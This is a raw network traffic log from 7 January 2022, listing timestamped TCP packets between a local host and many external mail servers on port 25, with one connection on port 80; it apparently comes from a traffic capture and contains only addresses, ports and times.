Jan 7, 2022 15:43:19.410391092 CET	49824	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.410394907 CET	49825	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.410531044 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.410584927 CET	49825	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.410954952 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.411043882 CET	49826	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.411243916 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.411309958 CET	49826	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.411333084 CET	49826	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.440090895 CET	25	49828	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:19.440519094 CET	25	49828	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:19.440625906 CET	49828	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:19.512953997 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.513006926 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.513047934 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.513354063 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.513392925 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.513427973 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.513468027 CET	25	49827	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.513506889 CET	25	49827	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.514292955 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.514329910 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.514369011 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.514417887 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.514453888 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.514489889 CET	25	49822	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.514524937 CET	25	49822	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.514559031 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.515533924 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.515574932 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.515609980 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.520494938 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:19.565032005 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:19.567905903 CET	25	49828	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:19.567935944 CET	25	49828	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:19.568042994 CET	49828	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:19.568082094 CET	49828	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:19.568089962 CET	49828	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:19.641469955 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:19.652838945 CET	49833	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:19.692876101 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:19.693732023 CET	25	49828	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:19.693772078 CET	25	49828	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:19.700664997 CET	49833	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:19.708666086 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:19.708944082 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:19.746628046 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:19.746803045 CET	49833	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:19.786397934 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:19.786442995 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:19.786551952 CET	49833	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:19.800163031 CET	49834	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:19.822961092 CET	49835	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:19.826982975 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:19.827119112 CET	49833	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:19.830791950 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:19.831048012 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:19.859791040 CET	49836	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:19.902945995 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:19.903084993 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:19.903304100 CET	25	49834	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:19.903389931 CET	49834	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:19.905334949 CET	49820	25	192.168.2.6	193.239.71.113
Jan 7, 2022 15:43:19.905987978 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:19.912122965 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:19.912223101 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:19.963074923 CET	25	49836	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:19.963200092 CET	49836	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.041723013 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:20.041861057 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:20.053294897 CET	25	49834	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.053591013 CET	49834	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.088885069 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.094288111 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.094610929 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:20.114262104 CET	25	49836	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.114439964 CET	49836	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.159109116 CET	25	49834	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.159235001 CET	49834	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.219532013 CET	25	49836	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.219690084 CET	49836	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.220091105 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:20.220176935 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:20.232342005 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:20.239836931 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:20.243122101 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:20.263350010 CET	25	49834	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.263586998 CET	49834	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.288746119 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.288918018 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:20.323790073 CET	25	49836	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.323928118 CET	49836	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.367464066 CET	25	49834	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.367759943 CET	49834	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.367800951 CET	49834	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.427872896 CET	25	49836	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.428029060 CET	49836	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.428087950 CET	49836	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.435998917 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:20.436142921 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:20.465210915 CET	49838	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:20.465213060 CET	49837	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:20.470809937 CET	25	49834	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.470830917 CET	25	49834	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.471116066 CET	25	49834	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.471151114 CET	49834	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.471185923 CET	49834	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.486891031 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.487035036 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:20.531083107 CET	25	49836	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.531138897 CET	25	49836	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.531352043 CET	25	49836	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:20.531415939 CET	49836	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.531474113 CET	49836	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:20.630147934 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:20.630330086 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:20.680191994 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.682109118 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:20.682890892 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:20.722286940 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:20.724872112 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:20.830491066 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:20.830832005 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:20.831738949 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:20.858273983 CET	49839	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:20.868735075 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.868766069 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.868793011 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.868880033 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.868918896 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:20.868964911 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:20.868983984 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:20.869685888 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:20.871515036 CET	49833	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:20.871542931 CET	49833	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:20.884643078 CET	25	49839	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:20.884917021 CET	49839	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:20.906682014 CET	49840	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:20.911127090 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:20.911180019 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:20.911303043 CET	49833	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:20.911449909 CET	25	49833	94.152.34.135	192.168.2.6
Jan 7, 2022 15:43:20.912966013 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:20.913101912 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:20.913110018 CET	49833	25	192.168.2.6	94.152.34.135
Jan 7, 2022 15:43:20.913352013 CET	25	49839	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:20.913623095 CET	49839	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:20.939959049 CET	25	49839	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:20.943337917 CET	25	49839	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:20.943471909 CET	49839	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:20.970309019 CET	25	49839	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:20.970530033 CET	49839	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:21.002443075 CET	25	49839	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:21.006203890 CET	25	49839	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:21.006711006 CET	49839	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:21.006747961 CET	49839	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:21.008800983 CET	49842	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.022378922 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.022420883 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.022453070 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.022485018 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.022536039 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.022634983 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.034461021 CET	25	49839	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:21.036955118 CET	49839	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:21.054883003 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.054940939 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.054979086 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055010080 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055022001 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055037022 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055062056 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055067062 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055082083 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055092096 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055102110 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055119991 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055135012 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055147886 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055156946 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055176973 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055191994 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055202961 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055212021 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055227995 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055231094 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055257082 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055284023 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055332899 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055392981 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.055461884 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.055820942 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.061834097 CET	25	49842	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.062712908 CET	49842	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.071966887 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:21.098917961 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.098938942 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.099036932 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.118814945 CET	25	49842	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.121283054 CET	49842	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.173713923 CET	25	49842	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.175941944 CET	25	49842	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.176080942 CET	49842	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.213521004 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.213555098 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.213598967 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.213654995 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.214335918 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.214369059 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.214395046 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.214478970 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.214519024 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.228873968 CET	25	49842	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.229070902 CET	49842	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.231424093 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:21.233407974 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:21.243076086 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.243546963 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.243590117 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.243626118 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.243657112 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.243663073 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.243711948 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.243712902 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.243732929 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.243750095 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.243767023 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.243789911 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.243796110 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.243832111 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.243894100 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.244265079 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.244303942 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.244340897 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.244360924 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.244378090 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.244378090 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.244400024 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.244416952 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.244438887 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.244457006 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.244462967 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.244493961 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.244514942 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.244594097 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.244965076 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.244993925 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.245014906 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.245022058 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.245044947 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.245063066 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.245084047 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.245115995 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.286906004 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.287077904 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.287338018 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.287358999 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.287446976 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.287641048 CET	25	49842	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.290225983 CET	25	49842	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.290371895 CET	49842	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.290397882 CET	49842	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.290705919 CET	49843	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.346601963 CET	25	49842	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.346628904 CET	25	49842	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.346709013 CET	49842	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.346827984 CET	49842	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.347008944 CET	25	49843	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.347109079 CET	49843	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.400906086 CET	25	49843	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.401405096 CET	49843	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.402261019 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.402373075 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.402483940 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.402498007 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.402693033 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.402750015 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.402950048 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.403038025 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.403143883 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.403156042 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.403264046 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.403345108 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.403501987 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.403611898 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.403675079 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.403820992 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.403922081 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.404356003 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.404448032 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.404525995 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.404737949 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.404922962 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.405096054 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.408760071 CET	49844	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:21.429883003 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.429914951 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.429939032 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.429960966 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.430012941 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.430092096 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.430155039 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.430282116 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.430341005 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.430449963 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.430473089 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.430525064 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.430623055 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.430644989 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.430696964 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.430717945 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.430890083 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.430947065 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431021929 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431063890 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431153059 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431216955 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431334019 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431390047 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431444883 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431461096 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431535959 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431593895 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431617975 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431638956 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431653976 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431684971 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431698084 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431757927 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431780100 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431799889 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.431824923 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431850910 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431868076 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.431951046 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432008028 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432085037 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.432167053 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432189941 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432209969 CET	25	49830	35.82.253.27	192.168.2.6
